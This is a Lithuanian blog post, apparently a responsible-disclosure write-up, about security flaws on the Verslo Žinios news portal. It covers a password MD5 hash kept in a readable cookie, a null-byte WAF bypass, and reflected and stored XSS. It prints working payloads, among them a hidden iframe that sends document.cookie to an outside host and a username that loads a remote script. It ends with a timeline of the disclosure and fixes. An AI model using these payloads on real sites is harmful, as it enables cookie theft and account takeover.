Kas skaito VŽ slapukus?


Atsitik tu man taip, kad naršydamas Verslo Žinias (VŽ) paspaudžiau “uždraustą mygtuką” F12. Dėmesį patraukė ilgas slapukų sąrašas:

VŽ slapukų sąrašas

Ten buvo slapukų su įdomiu pavadinimu evercookie, bet ši istorija ne apie tai. Labiausiai kliuvo VzLtLoginInfo, kurio reikšmė buvo mano elektroninio pašto adresas, ir VzLTLoginInfoPwd, kurio reikšmė buvo 32-iejų raidžių ir skaičių kratinys. Kadangi savo slaptažodį puikiai žinau, greitai patikrinau hipotezę, kad tai jo MD5 reikšmė.

Web programų 101

Reikia pasakyti, kad tai rimtas anti-pattern’as. Vartotojo slaptažodis turi būti perduodamas į serverį vieną vienintelį kartą per šifruotą HTTPS prisijungimą. Serveris nustato vartotojo tapatybę ir stateful architektūros atveju sukuria vartotojui sesiją. Tam serveris turi sugeneruoti tikrai atsitiktinį identifikatorių, kurio neįmanoma atspėti. Ir ne, Math.random() ir kiti PRNG algoritmai tam netinka. Naršyklė gautą sesijos identifikatorių išsaugo pvz. slapuke.

Toliau naršyklė ir serveris bendrauja tik per sesijos identifikatorių. Vartotojo slaptažodis naršyklėje niekur nesaugomas jokiame pavidale iš kurio galima būtų atkurti jo pradinę reikšmę (MD5 yra super greitas, super pasenęs algoritmas, leidžiantis milžinišku greičiu surasti pradinį slaptažodį). Vartotojui atsijungus (angl. sign out) sesija serveryje yra panaikinama ir senas sesijos identifikatorius nebetenka jokios reikšmės.

Na ir kas?

Galite paklausti: “Na ir kas čia tokio, kad slaptažodžio MD5 reikšmė išsaugoma slapuke? Juk ji išsaugoma mano kompiuteryje, mano naršyklėje ir neprieinama niekam kitam. Tik man ir serveriui, kuris ir taip mano slaptažodį žino.” Galima būtų tiesiog pasijuokti iš tokio architektūrinio sprendimo ir tiek, bet pabandykime pademonstruoti jo įtaką saugumui.

Kaip matome VzLtLoginInfoPwd slapukas neturi HttpOnly atributo (t.y. JavaScript puslapio kodas turi teisę jį perskaityti) ir išrašytas visiems vz.lt subdomain’ams. Tai reiškia kad XSS pažeidžiamumo atveju bet kokiame iš vz.lt subdomain’ų (www.vz.lt, mano.vz.lt, login.vz.lt ir t.t.) kenkėjiškas kodas gali jį pavogti. Sėkmingos vagystės atveju galima atkurti pradinį slaptažodį, bet tai net nesvarbu, nes pavogta MD5 reikšmė pati savaime yra “prisijungimo bilietas”. Tačiau skirtingai nuo sesijos identifikatoriaus, pavogta reikšmė galioja tiek, kiek galioja vartotojo slaptažodis.

Ieškome XSS

Pabandykime surasti XSS VŽ portale… Po kurio laiko išryškėja pirmasis kandidatas: https://www.vz.lt/apps/pbcs.dll/exec?name=asdf.

Serveris atsako pranešimu:

ERROR: Script asdf is missing!

Tai, kad serveris “atspindi” mūsų įvestą reikšmę yra geras ženklas. Pabandome https://www.vz.lt/apps/pbcs.dll/exec?name=<i>asdf</i> ir gauname:

SQL Injection. System will not process this request.

Tas pats ir su https://www.vz.lt/apps/pbcs.dll/exec?name=<. Panašu į kažkokį savadarbį WAF (Web Application Firewall). Galima tik spėlioti prie ko čia SQL injekcija. Pabandome https://www.vz.lt/apps/pbcs.dll/exec?name=%00<i>asdf</i> ir matome:

ERROR: Script (italic pradžia) asdf (italic pabaiga) is missing!

Įterpę nulinį baitą sėkmingai apėjome WAF, o serveris atvaizdavo mūsų HTML kodą. Hello PHP? :)

Tačiau įvedę https://www.vz.lt/apps/pbcs.dll/exec?name=%00<script>alert(1)</script> gauname:

Access denied. Error 15. What happened? The request was blocked by security rules. Your IP: empty. Proxy IP: 107.154.76.234. Incident ID: empty. Powered by Imperva.

Panašu, kad VŽ naudoja dar vieną WAF – Imperva. Šis komercinis sprendimas turi ilgą šleifą taisytų klaidų. Ir nors jo apėjimo būdą yra sunkiau surasti, tačiau nėra neįmanoma. Vis dėlto yra lengvesnių kelių. Openbugbounty randame du įrašus apie XSS VŽ portale, apie kuriuos buvo pranešta Verslo Žinioms 2018 m. Sausio 19 d. ir 2018 m. Rugpjūčio 10 d.:

Antrasis yra “pridengtas” Imperva, tačiau pirmasis veikė iki šiol! WAF naudojimas negali būti priežastimi netaisyti žinomų pažeidžiamumų. Ar jis liko neištaisytas todėl, kad yra akademija.vz.lt, o ne pagrindiniame subdomain’e www.vz.lt? Didelė klaida, nes šis subdomain’as gali skaityti VzLtLoginInfoPwd ir VzLtLoginInfo slapukus: https://akademija.vz.lt/paieska/?q=”><script>alert(document.cookie)</script>.

VŽ akademija alert pranešimas su visais slapukais.

Kas iš to alert?

Vietoj alert kenkėjiškas kodas galėtų pavogti užklydusio vartotojo slapukus. Tai yra Reflected XSS, nes esamam vartotojui reikia atidaryti šią nuorodą, kad kodas būtų įvykdytas. Tačiau būtų klaidinga nuvertinti tai ir priskirti prie socialinės inžinerijos atakų. VŽ vartotojams, kurie naudoja Safari naršyklę nepasisekė - tereikėjo įterpti šį kodą <iframe style="display:none" src="https://akademija.vz.lt/paieska/?q=%22%3e%3cscript%3ehttps://172.17.247.54:4443?c=&#x22;+document.cookie%3c/script%3e"></iframe> į kokį nulaužtą puslapį, kurį jie aplanko, ir slapukas būtų pavogtas jiems nematant. Iki 2020 m. vasaros tai taip pat veikė Chrome ir Firefox naršyklėse. Dabar tam reikia, kad slapukas būtų pažymėtas atributais Secure (leisti siųsti slapuką tiktai per HTTPS) ir SameSite=None. VŽ slapukai jų neturi.

Vis dėlto, yra kitas būdas, kuris veikia visur. Šis kodas kenkėjiškame puslapyje arba nulaužtame forume trumpam blykstelėjęs išsiustų vz.lt slapukus trečioms šalims.

▶ Proof of Concept:


XSS komentaruose Nr. 1

Komentarai - tai taikinys Nr. 1, nes leidžia įvesti kažką, kas bus parodyta kitiems vartotojams. Komentuojančio vartotojo vardas buvo tvarkingai atvaizduojamas net jei tas vardas turėjo specialių HTML simbolių, kaip Vardas<script>alert(1)</script>. Tačiau jei į tokio vartotojo komentarą kas nors atsakydavo, jo vardas buvo interpretuojamas kaip HTML kodas. Taigi, iš esmės užteko tam pačiam vartotojui atsakyti į savo paties komentarą, kad straipsnis su tokiu komentaru būtų “apkrėstas” kenkėjišku JavaScript kodų:

Stored VŽ XSS. Vartotojo su vardu <script>console.log(13)</script> komentaras ir naršyklės developer tools console tabas su išvestu skaičiumi 13

Tikras kenkėjiškas kodas galėjo lengvai pamodifikuoti antraštę, kad nesimatytų <i> ir <script> pradiniame pranešime.
Šis Stored XSS yra pavojingesnis už prieš tai aprašytą Reflected XSS nes:

  1. Nereikia niekam siųsti specialiai paruoštų nuorodų arba apkrėtinėti trečiųjų šalių puslapių. Galima įterpti savo kodą tiesiai į VŽ komentarus. Aukai užtenka tiesiog atsiversti komentarų puslapį.
  2. WAF neapsaugo nuo tokio tipo atakos, nes nesugeba atskirti kur yra legitimus kodas, o kur yra įterptas.

XSS komentaruose Nr. 2

Po pranešimo VŽ pataisė šią spragą, o taip pat pradėjo filtruoti vartojo vardus vartotojo profilio nustatymuose. Tačiau pastebėjau dar vieną šio XSS atmainą. Tuo metu kai nieko neįtariantis vartotojas tik paspausdavo “Atsakyti” į kenkėjiško vartotojo komentarą, jo vardas vis dar būdavo interpretuojamas kaip HTML:

Stored VŽ XSS. Vartotojo su vardu Mr<script src=//45.rs> komentaras ir iššokantis langas su tekstu www.vz.lt OK

Tai yra irgi Stored XSS, nors kiek mažiau pavojingas. Aukai reikėjo ne tik aplankyti užkrėsto straipsnio komentarus, bet ir paspausti “Atsakyti”. Nors kai vartotojas norėdavo pasikeisti vardą, jis buvo filtruojamas, VŽ pamiršo filtruoti vartotojų vardus registracijos metų.

Chronologija:

2022.01.28 - Išsiųstas el. laiškas VŽ Interneto produktų vystymo skyriaus vadovui ir NKSC.
2022.01.28 - Gautas patvirtinimas iš NKSC.
2022.02.14 - NKSC pranešė, kad susisiekė su VŽ 2022.02.03 d. Dėl neaiškių aplinkybių mano el. laiškas jų nepasiekė.
2022.02.14 - VŽ padėkojo ir pranešė, kad XSS ištaisytas, o “slapukų naudojimo planuojama atsisakyti”.
2022.03.09 - Išsiųstas el. laiškas apie Stored XSS VŽ komentaruose VŽ Interneto produktų vystymo skyriaus vadovui ir NKSC.
2022.03.09 - NKSC pranešė, kad susisiekė su VŽ telefonu.
2022.03.09 - VŽ padėkojo ir pranešė, kad pažeidžiamumas ištaisytas.
2022.03.09 - Išsiųstas el. laiškas apie XSS kai vartotojas spaudžia “Atsakyti”.
2022.05.02 - VŽ vis dar saugo slaptažodžio MD5 reikšmę slapuke. Kiti pažeidžiamumai ištaisyti.
2022.05.31 - VŽ pranešė, kad pašalino slaptažodžio MD5 reikšmės saugojimą slapuke.